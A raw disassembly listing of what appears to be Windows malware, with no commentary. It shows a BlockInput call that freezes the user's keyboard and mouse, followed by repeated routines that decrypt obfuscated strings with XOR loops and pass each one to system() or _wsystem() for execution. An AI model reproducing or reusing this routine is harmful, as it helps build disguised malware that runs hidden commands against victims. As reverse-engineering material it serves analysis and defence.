add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400093c6
call fcn.1400818ec
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], di
lea rcx, [rbp + 0x3248]
cmp qword [rbp + 0x3260], 8
cmovae rcx, qword [rbp + 0x3248]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
mov rdx, qword [rbp + 0x3260]
cmp rdx, 8
jb 0x1400076c8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400076c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400093c6
call fcn.1400818ec
mov qword [rbp + 0x3258], rdi
mov qword [rbp + 0x3260], 7
mov word [rbp + 0x3248], di
mov rdx, qword [rbp + 0x3280]
cmp rdx, 8
jb 0x140007727
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3268]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007722
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400111e4
call fcn.1400818ec
mov qword [rbp + 0x3278], rdi
mov qword [rbp + 0x3280], 7
mov word [rbp + 0x3268], di
add rsi, 0x20
cmp rsi, r15
jne 0x140007341
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
movups xmm0, xmmword [0x140096100]
movups xmmword [rbp + 0x1300], xmm0
movups xmm0, xmmword [0x140096120]
movups xmm1, xmmword [0x140096110]
movups xmmword [rbp + 0x1320], xmm0
movups xmmword [rbp + 0x1310], xmm1
movups xmm0, xmmword [0x140096140]
movups xmm1, xmmword [0x140096130]
movups xmmword [rbp + 0x1340], xmm0
movups xmmword [rbp + 0x1330], xmm1
mov eax, dword [0x140096188]
movups xmm0, xmmword [0x140096160]
movups xmm1, xmmword [str.___:__x2__e_303]
mov dword [rbp + 0x1388], eax
movups xmmword [rbp + 0x1360], xmm0
movups xmmword [rbp + 0x1350], xmm1
movzx eax, byte [0x14009618c]
movsd xmm0, qword [0x140096180]
movups xmm1, xmmword [0x140096170]
mov byte [rbp + 0x138c], al
movsd qword [rbp + 0x1380], xmm0
movups xmmword [rbp + 0x1370], xmm1
mov r8d, edi
mov esi, 5
lea r15d, [rsi + 0x1a]
cmp r14d, 2
jl 0x140007952
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1304]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140007841
cmp r8d, 0x8d
jge 0x140007996
movsxd rax, r8d
lea r9, [rbp + 0x1300]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8d
jl 0x140007960
lea rcx, [rbp + 0x1300]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140096040]
movups xmmword [rbp + 0x20a0], xmm0
movups xmm0, xmmword [0x140096060]
movups xmm1, xmmword [0x140096050]
movups xmmword [rbp + 0x20c0], xmm0
movups xmmword [rbp + 0x20b0], xmm1
movups xmm0, xmmword [0x140096080]
movups xmm1, xmmword [0x140096070]
movups xmmword [rbp + 0x20e0], xmm0
movups xmmword [rbp + 0x20d0], xmm1
movups xmm0, xmmword [0x1400960a0]
movups xmm1, xmmword [str.___:___cv_c91_]
movups xmmword [rbp + 0x2100], xmm0
movups xmmword [rbp + 0x20f0], xmm1
movzx eax, byte [0x1400960d0]
movups xmm0, xmmword [0x1400960c0]
movups xmm1, xmmword [0x1400960b0]
mov byte [rbp + 0x2130], al
movups xmmword [rbp + 0x2120], xmm0
movups xmmword [rbp + 0x2110], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140007b91
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x20a4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140007a80
cmp r8d, 0x91
jge 0x140007bd6
movsxd rax, r8d
lea r9, [rbp + 0x20a0]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x140007ba0
lea rcx, [rbp + 0x20a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400963d0]
movups xmm0, xmmword [0x1400963c0]
movups xmmword [rbp + 0xbe0], xmm1
movups xmmword [rbp + 0xbd0], xmm0
mov eax, dword [0x140096440]
movups xmm1, xmmword [0x1400963f0]
movups xmm0, xmmword [0x1400963e0]
mov dword [rbp + 0xc50], eax
movups xmmword [rbp + 0xc00], xmm1
movups xmmword [rbp + 0xbf0], xmm0
movzx eax, word [0x140096444]
movups xmm1, xmmword [0x140096410]
movups xmm0, xmmword [0x140096400]
mov word [rbp + 0xc54], ax
movups xmmword [rbp + 0xc20], xmm1
movups xmmword [rbp + 0xc10], xmm0
movzx eax, byte [0x140096446]
movups xmm1, xmmword [0x140096430]
movups xmm0, xmmword [0x140096420]
mov byte [rbp + 0xc56], al
movups xmmword [rbp + 0xc40], xmm1
movups xmmword [rbp + 0xc30], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x140007dd2
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xbd4]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140007cc1
cmp r8d, 0x87
jge 0x140007e16
movsxd rax, r8d
lea r9, [rbp + 0xbd0]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x87
jl 0x140007de0
lea rcx, [rbp + 0xbd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x140097110]
movups xmm0, xmmword [0x140097100]
movups xmmword [rbp + 0xc70], xmm1
movups xmmword [rbp + 0xc60], xmm0
mov eax, dword [0x140097180]
movups xmm1, xmmword [0x140097130]
movups xmm0, xmmword [0x140097120]
mov dword [rbp + 0xce0], eax
movups xmmword [rbp + 0xc90], xmm1
movups xmmword [rbp + 0xc80], xmm0
movzx eax, word [0x140097184]
movups xmm1, xmmword [0x140097150]
movups xmm0, xmmword [0x140097140]
mov word [rbp + 0xce4], ax
movups xmmword [rbp + 0xcb0], xmm1
movups xmmword [rbp + 0xca0], xmm0
movzx eax, byte [0x140097186]
movups xmm1, xmmword [0x140097170]
movups xmm0, xmmword [0x140097160]
mov byte [rbp + 0xce6], al
movups xmmword [rbp + 0xcd0], xmm1
movups xmmword [rbp + 0xcc0], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x140008012
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xc64]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140007f01
cmp r8d, 0x87
jge 0x140008056
movsxd rax, r8d
lea r9, [rbp + 0xc60]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x87
jl 0x140008020
lea rcx, [rbp + 0xc60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x140098760]
movups xmm0, xmmword [str.ZOIP]
movups xmmword [rbp + 0x13a0], xmm1
movups xmmword [rbp + 0x1390], xmm0
movups xmm1, xmmword [0x140098780]
movups xmm0, xmmword [0x140098770]
movups xmmword [rbp + 0x13c0], xmm1
movups xmmword [rbp + 0x13b0], xmm0
movzx eax, word [0x1400987d0]
movups xmm1, xmmword [0x1400987a0]
movups xmm0, xmmword [0x140098790]
mov word [rbp + 0x1410], ax
movups xmmword [rbp + 0x13e0], xmm1
movups xmmword [rbp + 0x13d0], xmm0
movzx eax, byte [0x1400987d2]
movups xmm1, xmmword [0x1400987c0]
movups xmm0, xmmword [0x1400987b0]
mov byte [rbp + 0x1412], al
movups xmmword [rbp + 0x1400], xmm1
movups xmmword [rbp + 0x13f0], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x140008251
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1394]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140008140
cmp r8d, 0x83
jge 0x140008296
movsxd rax, r8d
lea r9, [rbp + 0x1390]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x83
jl 0x140008260
lea rcx, [rbp + 0x1390]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140098340]
movups xmmword [rbp + 0x2140], xmm0
movups xmm0, xmmword [0x140098360]
movups xmm1, xmmword [0x140098350]
movups xmmword [rbp + 0x2160], xmm0
movups xmmword [rbp + 0x2150], xmm1
movups xmm0, xmmword [0x140098380]
movups xmm1, xmmword [0x140098370]
movups xmmword [rbp + 0x2180], xmm0
movups xmmword [rbp + 0x2170], xmm1
movups xmm0, xmmword [0x1400983a0]
movups xmm1, xmmword [0x140098390]
movups xmmword [rbp + 0x21a0], xmm0
movups xmmword [rbp + 0x2190], xmm1
movzx eax, byte [0x1400983d0]
movups xmm0, xmmword [0x1400983c0]
movups xmm1, xmmword [0x1400983b0]
mov byte [rbp + 0x21d0], al
movups xmmword [rbp + 0x21c0], xmm0
movups xmmword [rbp + 0x21b0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140008491
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2144]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140008380
cmp r8d, 0x91
jge 0x1400084d6
movsxd rax, r8d
lea r9, [rbp + 0x2140]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x1400084a0
lea rcx, [rbp + 0x2140]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140096bf0]
movups xmmword [rbp + 0x18a0], xmm0
movups xmm0, xmmword [0x140096c10]
movups xmm1, xmmword [0x140096c00]
movups xmmword [rbp + 0x18c0], xmm0
movups xmmword [rbp + 0x18b0], xmm1
movups xmm0, xmmword [0x140096c30]
movups xmm1, xmmword [0x140096c20]
movups xmmword [rbp + 0x18e0], xmm0
movups xmmword [rbp + 0x18d0], xmm1
movzx eax, word [0x140096c80]
movups xmm0, xmmword [0x140096c50]
movups xmm1, xmmword [0x140096c40]
mov word [rbp + 0x1930], ax
movups xmmword [rbp + 0x1900], xmm0
movups xmmword [rbp + 0x18f0], xmm1
movzx eax, byte [0x140096c82]
movups xmm0, xmmword [0x140096c70]
movups xmm1, xmmword [0x140096c60]
mov byte [rbp + 0x1932], al
movups xmmword [rbp + 0x1920], xmm0
movups xmmword [rbp + 0x1910], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x1400086e1
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x18a4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x1400085d0
cmp r8d, 0x93
jge 0x140008726
movsxd rax, r8d
lea r9, [rbp + 0x18a0]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x1400086f0
lea rcx, [rbp + 0x18a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140097490]
movups xmmword [rbp + 0x16c0], xmm0
movups xmm0, xmmword [0x1400974b0]
movups xmm1, xmmword [0x1400974a0]
movups xmmword [rbp + 0x16e0], xmm0
movups xmmword [rbp + 0x16d0], xmm1
movups xmm0, xmmword [0x1400974d0]
movups xmm1, xmmword [0x1400974c0]
movups xmmword [rbp + 0x1700], xmm0
movups xmmword [rbp + 0x16f0], xmm1
movzx eax, word [0x140097520]
movups xmm0, xmmword [0x1400974f0]
movups xmm1, xmmword [0x1400974e0]
mov word [rbp + 0x1750], ax
movups xmmword [rbp + 0x1720], xmm0
movups xmmword [rbp + 0x1710], xmm1
movzx eax, byte [0x140097522]
movups xmm0, xmmword [0x140097510]
movups xmm1, xmmword [0x140097500]
mov byte [rbp + 0x1752], al
movups xmmword [rbp + 0x1740], xmm0
movups xmmword [rbp + 0x1730], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140008931
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x16c4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140008820
cmp r8d, 0x93
jge 0x140008976
movsxd rax, r8d
lea r9, [rbp + 0x16c0]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
